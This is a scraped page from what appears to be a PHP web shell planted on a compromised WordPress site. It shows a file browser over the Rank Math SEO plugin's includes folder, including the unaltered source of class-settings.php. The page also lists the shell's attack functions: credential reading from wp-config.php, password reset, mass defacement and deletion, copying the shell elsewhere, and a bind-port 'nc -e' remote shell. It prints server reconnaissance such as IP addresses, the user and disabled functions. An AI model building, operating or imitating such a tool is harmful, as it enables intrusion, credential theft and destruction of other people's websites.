WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / seo-by-rank-math / includes / [dxwrx-r--r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/seo-by-rank-math/includes/class-settings.php (3.41 KB)
<?php
/**
 * The settings functionality of the plugin.
 *
 * @since      0.9.0
 * @package    RankMath
 * @subpackage RankMath\Core
 * @author     Rank Math <support@rankmath.com>
 */

namespace RankMath;

use RankMath\Helper;
use RankMath\Helpers\Sitepress;

defined( 'ABSPATH' ) || exit;

/**
 * Settings class.
 */
class Settings {

	/**
	 * Hold option data.
	 *
	 * @var array
	 */
	private $keys = [];

	/**
	 * Options holder.
	 *
	 * @var array
	 */
	private $options = null;

	/**
	 * The Constructor.
	 */
	public function __construct() {
		add_action( 'init', [ $this, 'init' ] );

		$this->add_options( 'titles', 'rank-math-options-titles' );
		$this->add_options( 'general', 'rank-math-options-general' );
		$this->add_options( 'sitemap', 'rank-math-options-sitemap' );
		$this->add_options( 'instant_indexing', 'rank-math-options-instant-indexing' );
	}

	/**
	 * Init.
	 */
	public function init() {
		if ( Sitepress::get()->is_active() ) {
			$this->reset();
		}
	}

	/**
	 * Add new option data.
	 *
	 * @param string $id  Unique id.
	 * @param string $key Option key.
	 */
	public function add_options( $id, $key ) {
		if ( ! empty( $id ) && ! empty( $key ) ) {

			$this->keys[ $id ] = $key;

			// Lazy-Load options.
			if ( ! is_null( $this->options ) ) {
				$options = get_option( $key, [] );
				$options = $this->normalize_it( $options );

				$this->options[ $id ] = $options;
			}
		}
	}

	/**
	 * Get settings keys.
	 *
	 * @return array
	 */
	public function get_keys() {
		return $this->keys;
	}

	/**
	 * Get Setting.
	 *
	 * @param  string $field_id      ID of field to get.
	 * @param  mixed  $default_value (Optional) Default value.
	 * @return mixed
	 */
	public function get( $field_id = '', $default_value = false ) {
		$opts = $this->get_options();
		$ids  = explode( '.', $field_id );

		foreach ( $ids as $id ) {
			if ( is_null( $opts ) ) {
				break;
			}
			$opts = isset( $opts[ $id ] ) ? $opts[ $id ] : null;
		}

		if ( is_null( $opts ) ) {
			return $default_value;
		}

		return $opts;
	}

	/**
	 * Set value.
	 *
	 * @param string $group Setting group.
	 * @param string $id    Setting id.
	 * @param string $value Setting value.
	 */
	public function set( $group, $id, $value ) {
		$this->options[ $group ][ $id ] = $value;
	}

	/**
	 * Get all settings.
	 *
	 * @return array
	 */
	public function all() {
		return $this->get_options();
	}

	/**
	 * Get all settings.
	 *
	 * @return array
	 */
	public function all_raw() {
		$options = [];
		if ( ! empty( $this->keys ) ) {
			foreach ( $this->keys as $id => $key ) {
				$options[ $id ] = get_option( $key, [] );
			}
		}

		return $options;
	}

	/**
	 * Reset options
	 */
	public function reset() {
		$this->options = null;
		$this->get_options();
	}

	/**
	 * Get options once for use throughout the plugin cycle.
	 *
	 * @return array
	 */
	private function get_options() {

		if ( is_null( $this->options ) && ! empty( $this->keys ) ) {

			$options = [];
			foreach ( $this->keys as $id => $key ) {
				$options[ $id ] = get_option( $key, [] );
			}

			$this->options = $this->normalize_it( $options );
		}

		return (array) $this->options;
	}

	/**
	 * Normalize option data
	 *
	 * @param mixed $options Array to normalize.
	 * @return mixed
	 */
	private function normalize_it( $options ) {
		foreach ( (array) $options as $key => $value ) {
			$options[ $key ] = is_array( $value ) ? $this->normalize_it( $value ) : Helper::normalize_data( $value );
		}

		return $options;
	}
}
namawaktuukuranownerpermaksi
..
3rdparty/ 2026-07-21 14:14568.06 KB 76129f60960:kundendxwrx-r--r
abilities/ 2026-07-21 14:14135.66 KB 76129f60960:kundendxwrx-r--r
admin/ 2026-07-21 14:14567.8 KB 76129f60960:kundendxwrx-r--r
cli/ 2026-07-21 14:14836 B 76129f60960:kundendxwrx-r--r
frontend/ 2026-07-21 14:14105.79 KB 76129f60960:kundendxwrx-r--r
helpers/ 2026-07-21 14:14138.04 KB 76129f60960:kundendxwrx-r--r
metaboxes/ 2026-07-21 14:1428 B 76129f60960:kundendxwrx-r--r
module/ 2026-07-21 14:1429.13 KB 76129f60960:kundendxwrx-r--r
modules/ 2026-07-21 14:144.47 MB 76129f60960:kundendxwrx-r--r
opengraph/ 2026-07-21 14:1456.01 KB 76129f60960:kundendxwrx-r--r
replace-variables/ 2026-07-21 14:1469.13 KB 76129f60960:kundendxwrx-r--r
rest/ 2026-07-21 14:1456.29 KB 76129f60960:kundendxwrx-r--r
settings/ 2026-07-21 14:1469.92 KB 76129f60960:kundendxwrx-r--r
traits/ 2026-07-21 14:1412.61 KB 76129f60960:kundendxwrx-r--r
updates/ 2026-07-21 14:1419.48 KB 76129f60960:kundendxwrx-r--r
class-auto-updater.php 2026-07-21 14:142.23 KB 76129f60960:kunden-xw-x-----
edt
class-cmb2.php 2026-07-21 14:1411.38 KB 76129f60960:kunden-xw-x-----
edt
class-common.php 2026-07-21 14:147.02 KB 76129f60960:kunden-xw-x-----
edt
class-compatibility.php 2026-07-21 14:142.52 KB 76129f60960:kunden-xw-x-----
edt
class-data-encryption.php 2026-07-21 14:144.07 KB 76129f60960:kunden-xw-x-----
edt
class-defaults.php 2026-07-21 14:141.13 KB 76129f60960:kunden-xw-x-----
edt
class-frontend-seo-score.php 2026-07-21 14:149.78 KB 76129f60960:kunden-xw-x-----
edt
class-helper.php 2026-07-21 14:1411.3 KB 76129f60960:kunden-xw-x-----
edt
class-installer.php 2026-07-21 14:1423.4 KB 76129f60960:kunden-xw-x-----
edt
class-json-manager.php 2026-07-21 14:142.78 KB 76129f60960:kunden-xw-x-----
edt
class-kb.php 2026-07-21 14:1412.72 KB 76129f60960:kunden-xw-x-----
edt
class-metadata.php 2026-07-21 14:143.49 KB 76129f60960:kunden-xw-x-----
edt
class-post.php 2026-07-21 14:144.68 KB 76129f60960:kunden-xw-x-----
edt
class-rewrite.php 2026-07-21 14:149.57 KB 76129f60960:kunden-xw-x-----
edt
class-settings.php 2026-07-21 14:143.41 KB 76129f60960:kunden-xw-x-----
edt
class-term.php 2026-07-21 14:143.04 KB 76129f60960:kunden-xw-x-----
edt
class-thumbnail-overlay.php 2026-07-21 14:147.89 KB 76129f60960:kunden-xw-x-----
edt
class-tracking.php 2026-07-21 14:1412.61 KB 76129f60960:kunden-xw-x-----
edt
class-update-email.php 2026-07-21 14:145.27 KB 76129f60960:kunden-xw-x-----
edt
class-updates.php 2026-07-21 14:142.62 KB 76129f60960:kunden-xw-x-----
edt
class-user.php 2026-07-21 14:141.55 KB 76129f60960:kunden-xw-x-----
edt
index.php 2026-07-21 14:1428 B 76129f60960:kunden-xw-x-----
edt
interface-runner.php 2026-07-21 14:14380 B 76129f60960:kunden-xw-x-----
edt
template-tags.php 2026-07-21 14:142.03 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/seo-by-rank-math/includes
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK